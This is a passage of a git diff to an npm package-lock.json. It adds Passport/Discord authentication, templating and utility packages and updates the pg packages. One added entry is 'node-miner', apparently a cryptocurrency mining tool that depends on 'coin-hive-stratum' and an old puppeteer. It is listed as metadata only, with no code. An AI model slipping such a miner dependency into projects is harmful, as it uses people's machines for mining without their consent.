"https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", @@ -3526,6 +4070,12 @@ "dev": true, "license": "MIT" }, + "node_modules/json-stringify-safe": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", + "integrity": "sha512-ZClg6AaYvamvYEE82d3Iyd3vSSIjQ+odgjaTzRuO3s7toCdFKczob2i0zCh7JE8kWn17yvAWhUVxvqGwUalsRA==", + "license": "ISC" + }, "node_modules/json5": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", @@ -3570,7 +4120,6 @@ "version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - "dev": true, "license": "MIT", "dependencies": { "p-locate": "^4.1.0" @@ -3585,12 +4134,110 @@ "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", "license": "MIT" }, + "node_modules/lodash.findindex": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/lodash.findindex/-/lodash.findindex-4.6.0.tgz", + "integrity": "sha512-9er6Ccz6sEST3bHFtUrCFWk14nE8cdL/RoW1RRDV1BxqN3qsmsT56L14jhfctAqhVPVcdJw4MRxEaVoAK+JVvw==", + "license": "MIT" + }, + "node_modules/lodash.isequal": { + "version": "4.5.0", + "resolved": "https://registry.npmjs.org/lodash.isequal/-/lodash.isequal-4.5.0.tgz", + "integrity": "sha512-pDo3lu8Jhfjqls6GkMgpahsF9kCyayhgykjyLMNFTKWrpVdAQtYyB4muAMWozBB4ig/dtWAmsMxLEI8wuz+DYQ==", + "deprecated": "This package is deprecated. Use require('node:util').isDeepStrictEqual instead.", + "license": "MIT" + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "license": "MIT" + }, "node_modules/lodash.snakecase": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/lodash.snakecase/-/lodash.snakecase-4.1.1.tgz", "integrity": "sha512-QZ1d4xoBHYUeuouhEq3lk3Uq7ldgyFXGBhg04+oRLnIz8o9T65Eh+8YdroUwn846zchkA9yDsDl5CVVaV2nqYw==", "license": "MIT" }, + "node_modules/log-update": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-2.3.0.tgz", + "integrity": "sha512-vlP11XfFGyeNQlmEn9tJ66rEW1coA/79m5z6BCkudjbAGE83uhAcGYrBFwfs3AdLiLzGRusRPAbSPK9xZteCmg==", + "license": "MIT", + "dependencies": { + "ansi-escapes": "^3.0.0", + "cli-cursor": "^2.0.0", + "wrap-ansi": "^3.0.1" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/ansi-escapes": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", + "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/ansi-regex": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.1.tgz", + "integrity": "sha512-+O9Jct8wf++lXxxFc4hc8LsjaSq0HFzzL7cVsw8pRDIPdjKD2mT4ytDZlLuSBZ4cLKZFXIrMGO7DbQCtMJJMKw==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/is-fullwidth-code-point": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-2.0.0.tgz", + "integrity": "sha512-VHskAKYM8RfSFXwee5t5cbN5PZeq1Wrh6qd5bkyiXIf6UQcN6w/A0eXM9r6t8d+GYOh+o6ZhiEnb88LN/Y8m2w==", + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/string-width": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz", + "integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==", + "license": "MIT", + "dependencies": { + "is-fullwidth-code-point": "^2.0.0", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/strip-ansi": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz", + "integrity": "sha512-4XaJ2zQdCzROZDivEVIDPkcQn8LMFSa8kj8Gxb/Lnwzv9A8VctNZ+lfivC/sV3ivW8ElJTERXZoPBRrZKkNKow==", + "license": "MIT", + "dependencies": { + "ansi-regex": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/log-update/node_modules/wrap-ansi": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-3.0.1.tgz", + "integrity": "sha512-iXR3tDXpbnTpzjKSylUJRkLuOrEC7hwEB221cgn6wtF8wpmz28puFXAEfPT5zrjM3wahygB//VuWEr1vTkDcNQ==", + "license": "MIT", + "dependencies": { + "string-width": "^2.1.1", + "strip-ansi": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, "node_modules/lru-cache": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", @@ -3636,6 +4283,12 @@ "node": ">=10" } }, + "node_modules/make-plural": { + "version": "7.4.0", + "resolved": "https://registry.npmjs.org/make-plural/-/make-plural-7.4.0.tgz", + "integrity": "sha512-4/gC9KVNTV6pvYg2gFeQYTW3mWaoJt7WZE5vrp1KnQDgW92JtYZnzmZT81oj/dUTqAIu0ufI2x3dkgu3bB1tYg==", + "license": "Unicode-DFS-2016" + }, "node_modules/makeerror": { "version": "1.0.12", "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", @@ -3646,6 +4299,15 @@ "tmpl": "1.0.5" } }, + "node_modules/math-interval-parser": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/math-interval-parser/-/math-interval-parser-2.0.1.tgz", + "integrity": "sha512-VmlAmb0UJwlvMyx8iPhXUDnVW1F9IrGEd9CIOmv+XL8AErCUUuozoDMrgImvnYt2A+53qVX/tPW6YJurMKYsvA==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/math-intrinsics": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/math-intrinsics/-/math-intrinsics-1.1.0.tgz", @@ -3664,6 +4326,12 @@ "node": ">= 0.6" } }, + "node_modules/merge": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/merge/-/merge-1.2.1.tgz", + "integrity": "sha512-VjFo4P5Whtj4vsLzsYBu5ayHhoHJ0UqNm7ibvShmbmoz7tGi0vXaoJbGdB+GmDMLUdg8DpQXEIeVDAe8MaABvQ==", + "license": "MIT" + }, "node_modules/merge-descriptors": { "version": "1.0.3", "resolved": "https://registry.npmjs.org/merge-descriptors/-/merge-descriptors-1.0.3.tgz", @@ -3758,12 +4426,66 @@ "node": "*" } }, + "node_modules/minimist": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.8.tgz", + "integrity": "sha512-2yyAR8qBkN3YuheJanUpWC5U3bb5osDywNB8RzDVlDwDHbocAJveqqj1u8+SVD7jkWT4yvsHCpWqqWqAxb0zCA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/mixme": { + "version": "0.5.10", + "resolved": "https://registry.npmjs.org/mixme/-/mixme-0.5.10.tgz", + "integrity": "sha512-5H76ANWinB1H3twpJ6JY8uvAtpmFvHNArpilJAjXRKXSDDLPIMoZArw5SH0q9z+lLs8IrMw7Q2VWpWimFKFT1Q==", + "license": "MIT", + "engines": { + "node": ">= 8.0.0" + } + }, + "node_modules/mkdirp": { + "version": "0.5.6", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.6.tgz", + "integrity": "sha512-FP+p8RB8OWpF3YZBCrP5gtADmtXApB5AMLn+vdyA+PyxCjrCs00mjyUozssO33cwDeT3wNGdLxJ5M//YqtHAJw==", + "license": "MIT", + "dependencies": { + "minimist": "^1.2.6" + }, + "bin": { + "mkdirp": "bin/cmd.js" + } + }, + "node_modules/moment": { + "version": "2.30.1", + "resolved": "https://registry.npmjs.org/moment/-/moment-2.30.1.tgz", + "integrity": "sha512-uEmtNhbDOrWPFS+hdjFCBfy9f2YoyzRpwcl+DqpC6taX21FzsTLQVbMV/W7PzNSX6x/bhC1zA3c2UQ5NzH6how==", + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/moo": { + "version": "0.5.2", + "resolved": "https://registry.npmjs.org/moo/-/moo-0.5.2.tgz", + "integrity": "sha512-iSAJLHYKnX41mKcJKjqvnAN9sf0LMDTXDEvFv+ffuRR9a1MIuXLjMNL6EsnDHSkKLTWNqQQ5uo61P4EbU4NU+Q==", + "license": "BSD-3-Clause" + }, "node_modules/ms": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz", "integrity": "sha512-Tpp60P6IUJDTuOq/5Z8cdskzJujfwqfOTkrwIwj7IRISpnkJnT6SyJ4PCPnGMoFjC9ddhal5KVIYtAt97ix05A==", "license": "MIT" }, + "node_modules/mustache": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/mustache/-/mustache-4.2.0.tgz", + "integrity": "sha512-71ippSywq5Yb7/tVYyGbkBggbU8H3u5Rz56fH60jGFgr8uHwxs+aSKeqmluIVzM0m0kB7xQjKS6qPfd0b2ZoqQ==", + "license": "MIT", + "bin": { + "mustache": "bin/mustache" + } + }, "node_modules/natural-compare": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/natural-compare/-/natural-compare-1.4.0.tgz", @@ -3825,6 +4547,69 @@ "dev": true, "license": "MIT" }, + "node_modules/node-miner": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/node-miner/-/node-miner-3.1.0.tgz", + "integrity": "sha512-ezVtXyC8NONvXKiGMRYYbLXl1ZfuJLs2n2q4XGeLYVnRGYB4n8TlplM/Y8JHsDbdodGv8POxfz3PvrdYuctkmw==", + "license": "MIT", + "dependencies": { + "@types/node": "^8.0.53", + "@types/ws": "^3.2.0", + "basic-auth": "^2.0.0", + "coin-hive-stratum": "^1.4.7", + "elegant-spinner": "^1.0.1", + "express": "^4.15.4", + "log-update": "^2.1.0", + "minimist": "^1.2.0", + "moment": "^2.19.1", + "pmx": "^1.5.5", + "puppeteer": "^0.10.2", + "tty-table": "^2.5.5", + "typescript": "^2.6.1", + "uuid": "^3.1.0", + "watch": "^1.0.2", + "ws": "^3.2.0" + }, + "bin": { + "node-miner": "bin/node-miner" + }, + "engines": { + "node": ">=8.0", + "npm": ">=5.0" + } + }, + "node_modules/node-miner/node_modules/@types/node": { + "version": "8.10.66", + "resolved": "https://registry.npmjs.org/@types/node/-/node-8.10.66.tgz", + "integrity": "sha512-tktOkFUA4kXx2hhhrB8bIFb5TbwzS4uOhKEmwiD+NoiL0qtP2OQ9mFldbgD4dV1djrlBYP6eBuQZiWjuHUpqFw==", + "license": "MIT" + }, + "node_modules/node-miner/node_modules/@types/ws": { + "version": "3.2.1", + "resolved": "https://registry.npmjs.org/@types/ws/-/ws-3.2.1.tgz", + "integrity": "sha512-t5n0/iHoavnX1MqeYmKJgWc1W6yX4BXsNxQg7M5862RWrfN9S5k8yaWbDMGJSTCzbH7+q5QS8chjymd+ND9gMw==", + "license": "MIT", + "dependencies": { + "@types/node": "*" + } + }, + "node_modules/node-miner/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/node-miner/node_modules/ws": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", + "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", + "license": "MIT", + "dependencies": { + "async-limiter": "~1.0.0", + "safe-buffer": "~5.1.0", + "ultron": "~1.1.0" + } + }, "node_modules/node-releases": { "version": "2.0.19", "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-2.0.19.tgz", @@ -3855,6 +4640,21 @@ "node": ">=8" } }, + "node_modules/oauth": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/oauth/-/oauth-0.10.2.tgz", + "integrity": "sha512-JtFnB+8nxDEXgNyniwz573xxbKSOu3R8D40xQKqcjwJ2CDkYqUDI53o6IuzDJBx60Z8VKCm271+t8iFjakrl8Q==", + "license": "MIT" + }, + "node_modules/object-assign": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz", + "integrity": "sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==", + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/object-inspect": { "version": "1.13.4", "resolved": "https://registry.npmjs.org/object-inspect/-/object-inspect-1.13.4.tgz", @@ -3879,11 +4679,19 @@ "node": ">= 0.8" } }, + "node_modules/on-headers": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/on-headers/-/on-headers-1.1.0.tgz", + "integrity": "sha512-737ZY3yNnXy37FHkQxPzt4UZ2UWPWiCZWLvFZ4fu5cueciegX0zGPnrlY6bwRg4FdQOe9YU8MkmJwGhoMybl8A==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/once": { "version": "1.4.0", "resolved": "https://registry.npmjs.org/once/-/once-1.4.0.tgz", "integrity": "sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==", - "dev": true, "license": "ISC", "dependencies": { "wrappy": "1" @@ -3925,7 +4733,6 @@ "version": "4.1.0", "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", - "dev": true, "license": "MIT", "dependencies": { "p-limit": "^2.2.0" @@ -3938,7 +4745,6 @@ "version": "2.3.0", "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", - "dev": true, "license": "MIT", "dependencies": { "p-try": "^2.0.0" @@ -3954,7 +4760,6 @@ "version": "2.2.0", "resolved": "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz", "integrity": "sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==", - "dev": true, "license": "MIT", "engines": { "node": ">=6" @@ -3988,11 +4793,65 @@ "node": ">= 0.8" } }, + "node_modules/passport": { + "version": "0.7.0", + "resolved": "https://registry.npmjs.org/passport/-/passport-0.7.0.tgz", + "integrity": "sha512-cPLl+qZpSc+ireUvt+IzqbED1cHHkDoVYMo30jbJIdOOjQ1MQYZBPiNvmi8UM6lJuOpTPXJGZQk0DtC4y61MYQ==", + "license": "MIT", + "dependencies": { + "passport-strategy": "1.x.x", + "pause": "0.0.1", + "utils-merge": "^1.0.1" + }, + "engines": { + "node": ">= 0.4.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jaredhanson" + } + }, + "node_modules/passport-discord": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/passport-discord/-/passport-discord-0.1.4.tgz", + "integrity": "sha512-VJWPYqSOmh7SaCLw/C+k1ZqCzJnn2frrmQRx1YrcPJ3MQ+Oa31XclbbmqFICSvl8xv3Fqd6YWQ4H4p1MpIN9rA==", + "license": "ISC", + "dependencies": { + "passport-oauth2": "^1.5.0" + } + }, + "node_modules/passport-oauth2": { + "version": "1.8.0", + "resolved": "https://registry.npmjs.org/passport-oauth2/-/passport-oauth2-1.8.0.tgz", + "integrity": "sha512-cjsQbOrXIDE4P8nNb3FQRCCmJJ/utnFKEz2NX209f7KOHPoX18gF7gBzBbLLsj2/je4KrgiwLLGjf0lm9rtTBA==", + "license": "MIT", + "dependencies": { + "base64url": "3.x.x", + "oauth": "0.10.x", + "passport-strategy": "1.x.x", + "uid2": "0.0.x", + "utils-merge": "1.x.x" + }, + "engines": { + "node": ">= 0.4.0" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/jaredhanson" + } + }, + "node_modules/passport-strategy": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/passport-strategy/-/passport-strategy-1.0.0.tgz", + "integrity": "sha512-CB97UUvDKJde2V0KDWWB3lyf6PC3FaZP7YxZ2G8OAtn9p4HI9j9JLP9qjOGZFvyl8uwNT8qM+hGnz/n16NI7oA==", + "engines": { + "node": ">= 0.4.0" + } + }, "node_modules/path-exists": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-4.0.0.tgz", "integrity": "sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==", - "dev": true, "license": "MIT", "engines": { "node": ">=8" @@ -4002,7 +4861,6 @@ "version": "1.0.1", "resolved": "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz", "integrity": "sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==", - "dev": true, "license": "MIT", "engines": { "node": ">=0.10.0" @@ -4031,23 +4889,34 @@ "integrity": "sha512-RA1GjUVMnvYFxuqovrEqZoxxW5NUZqbwKtYz/Tt7nXerk0LbLblQmrsgdeOxV5SFHf0UDggjS/bSeOZwt1pmEQ==", "license": "MIT" }, + "node_modules/pause": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/pause/-/pause-0.0.1.tgz", + "integrity": "sha512-KG8UEiEVkR3wGEb4m5yZkVCzigAD+cVEJck2CzYZO37ZGJfctvVptVO192MwrtPhzONn6go8ylnOdMhKqi4nfg==" + }, + "node_modules/pend": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/pend/-/pend-1.2.0.tgz", + "integrity": "sha512-F3asv42UuXchdzt+xXqfW1OGlVBe+mxa2mqI0pg5yAHZPvFmY3Y6drSf/GQ1A86WgWEN9Kzh/WrgKa6iGcHXLg==", + "license": "MIT" + }, "node_modules/pg": { - "version": "8.16.0", - "resolved": "https://registry.npmjs.org/pg/-/pg-8.16.0.tgz", - "integrity": "sha512-7SKfdvP8CTNXjMUzfcVTaI+TDzBEeaUnVwiVGZQD1Hh33Kpev7liQba9uLd4CfN8r9mCVsD0JIpq03+Unpz+kg==", + "version": "8.16.3", + "resolved": "https://registry.npmjs.org/pg/-/pg-8.16.3.tgz", + "integrity": "sha512-enxc1h0jA/aq5oSDMvqyW3q89ra6XIIDZgCX9vkMrnz5DFTw/Ny3Li2lFQ+pt3L6MCgm/5o2o8HW9hiJji+xvw==", "license": "MIT", "dependencies": { - "pg-connection-string": "^2.9.0", - "pg-pool": "^3.10.0", - "pg-protocol": "^1.10.0", + "pg-connection-string": "^2.9.1", + "pg-pool": "^3.10.1", + "pg-protocol": "^1.10.3", "pg-types": "2.2.0", "pgpass": "1.0.5" }, "engines": { - "node": ">= 8.0.0" + "node": ">= 16.0.0" }, "optionalDependencies": { - "pg-cloudflare": "^1.2.5" + "pg-cloudflare": "^1.2.7" }, "peerDependencies": { "pg-native": ">=3.0.1" @@ -4059,16 +4928,16 @@ } }, "node_modules/pg-cloudflare": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.2.5.tgz", - "integrity": "sha512-OOX22Vt0vOSRrdoUPKJ8Wi2OpE/o/h9T8X1s4qSkCedbNah9ei2W2765be8iMVxQUsvgT7zIAT2eIa9fs5+vtg==", + "version": "1.2.7", + "resolved": "https://registry.npmjs.org/pg-cloudflare/-/pg-cloudflare-1.2.7.tgz", + "integrity": "sha512-YgCtzMH0ptvZJslLM1ffsY4EuGaU0cx4XSdXLRFae8bPP4dS5xL1tNB3k2o/N64cHJpwU7dxKli/nZ2lUa5fLg==", "license": "MIT", "optional": true }, "node_modules/pg-connection-string": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.9.0.tgz", - "integrity": "sha512-P2DEBKuvh5RClafLngkAuGe9OUlFV7ebu8w1kmaaOgPcpJd1RIFh7otETfI6hAR8YupOLFTY7nuvvIn7PLciUQ==", + "version": "2.9.1", + "resolved": "https://registry.npmjs.org/pg-connection-string/-/pg-connection-string-2.9.1.tgz", + "integrity": "sha512-nkc6NpDcvPVpZXxrreI/FOtX3XemeLl8E0qFr6F2Lrm/I8WOnaWNhIPK2Z7OHpw7gh5XJThi6j6ppgNoaT1w4w==", "license": "MIT" }, "node_modules/pg-int8": { @@ -4081,18 +4950,18 @@ } }, "node_modules/pg-pool": { - "version": "3.10.0", - "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.10.0.tgz", - "integrity": "sha512-DzZ26On4sQ0KmqnO34muPcmKbhrjmyiO4lCCR0VwEd7MjmiKf5NTg/6+apUEu0NF7ESa37CGzFxH513CoUmWnA==", + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/pg-pool/-/pg-pool-3.10.1.tgz", + "integrity": "sha512-Tu8jMlcX+9d8+QVzKIvM/uJtp07PKr82IUOYEphaWcoBhIYkoHpLXN3qO59nAI11ripznDsEzEv8nUxBVWajGg==", "license": "MIT", "peerDependencies": { "pg": ">=8.0" } }, "node_modules/pg-protocol": { - "version": "1.10.0", - "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.10.0.tgz", - "integrity": "sha512-IpdytjudNuLv8nhlHs/UrVBhU0e78J0oIS/0AVdTbWxSOkFUVdsHC/NrorO6nXsQNDTT1kzDSOMJubBQviX18Q==", + "version": "1.10.3", + "resolved": "https://registry.npmjs.org/pg-protocol/-/pg-protocol-1.10.3.tgz", + "integrity": "sha512-6DIBgBQaTKDJyxnXaLiLR8wBpQQcGWuAESkRBX/t6OwA8YsqP+iVSiond2EDy6Y/dsGk8rh/jtax3js5NeV7JQ==", "license": "MIT" }, "node_modules/pg-types": { @@ -4163,6 +5032,43 @@ "node": ">=8" } }, + "node_modules/pmx": { + "version": "1.6.7", + "resolved": "https://registry.npmjs.org/pmx/-/pmx-1.6.7.tgz", + "integrity": "sha512-CoyZD1EWj/fvpuEPnndB11s5onzN5p/0bxGsBuwbyb8uFtg3lMxXys1pXs88gReiRnMSYCSt25J3GCc6AnxoFQ==", + "license": "MIT", + "dependencies": { + "debug": "^3", + "deep-metrics": "^0.0.1", + "json-stringify-safe": "^5.0", + "semver": "5.*", + "vxx": "^1.2.0" + } + }, + "node_modules/pmx/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/pmx/node_modules/ms": { + "version": "2.1.3", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz", + "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==", + "license": "MIT" + }, + "node_modules/pmx/node_modules/semver": { + "version": "5.7.2", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz", + "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==", + "license": "ISC", + "bin": { + "semver": "bin/semver" + } + }, "node_modules/postgres-array": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/postgres-array/-/postgres-array-2.0.0.tgz", @@ -4230,6 +5136,21 @@ "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, + "node_modules/process-nextick-args": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", + "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==", + "license": "MIT" + }, + "node_modules/progress": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", + "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==", + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, "node_modules/prompts": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz", @@ -4257,6 +5178,12 @@ "node": ">= 0.10" } }, + "node_modules/proxy-from-env": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/proxy-from-env/-/proxy-from-env-1.1.0.tgz", + "integrity": "sha512-D+zkORCbA9f1tdWRK0RaCR3GPv50cMxcrz4X8k5LTSUD1Dkw47mKJEZQNunItRTkWwgtaUSo1RVFRIG9ZXiFYg==", + "license": "MIT" + }, "node_modules/psl": { "version": "1.15.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.15.0.tgz", @@ -4278,6 +5205,44 @@ "node": ">=6" } }, + "node_modules/puppeteer": { + "version": "0.10.2", + "resolved": "https://registry.npmjs.org/puppeteer/-/puppeteer-0.10.2.tgz", + "integrity": "sha512-dj1MdwiYfEwTemfFeBu0inGyhcaEe3cKREvTFSA/pkGHaCwyj/FFfJHJpr9vykXvSs/PbmcApOztsUyqzd1msA==", + "deprecated": "< 22.8.2 is no longer supported", + "hasInstallScript": true, + "license": "Apache-2.0", + "dependencies": { + "debug": "^2.6.8", + "extract-zip": "^1.6.5", + "https-proxy-agent": "^2.1.0", + "mime": "^1.3.4", + "progress": "^2.0.0", + "proxy-from-env": "^1.0.0", + "rimraf": "^2.6.1", + "ws": "^3.0.0" + }, + "engines": { + "node": ">=6.4.0" + } + }, + "node_modules/puppeteer/node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==", + "license": "MIT" + }, + "node_modules/puppeteer/node_modules/ws": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/ws/-/ws-3.3.3.tgz", + "integrity": "sha512-nnWLa/NwZSt4KQJu51MYlCcSQ5g7INpOrOMt4XV8j4dqTXdmlUmSHQ8/oLC069ckre0fRsgfvsKwbTdtKLCDkA==", + "license": "MIT", + "dependencies": { + "async-limiter": "~1.0.0", + "safe-buffer": "~5.1.0", + "ultron": "~1.1.0" + } + }, "node_modules/pure-rand": { "version": "6.1.0", "resolved": "https://registry.npmjs.org/pure-rand/-/pure-rand-6.1.0.tgz", @@ -4310,6 +5275,15 @@ "url": "https://github.com/sponsors/ljharb" } }, + "node_modules/random-bytes": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/random-bytes/-/random-bytes-1.0.0.tgz", + "integrity": "sha512-iv7LhNVO047HzYR3InF6pUcUsPQiHTM1Qal51DcGSuZFBil1aBBWG5eHPNek7bvILMaYJ/8RU1e8w1AMdHmLQQ==", + "license": "MIT", + "engines": { + "node": ">= 0.8" + } + }, "node_modules/range-parser": { "version": "1.2.1", "resolved": "https://registry.npmjs.org/range-parser/-/range-parser-1.2.1.tgz", @@ -4341,16 +5315,42 @@ "dev": true, "license": "MIT" }, + "node_modules/readable-stream": { + "version": "2.3.8", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz", + "integrity": 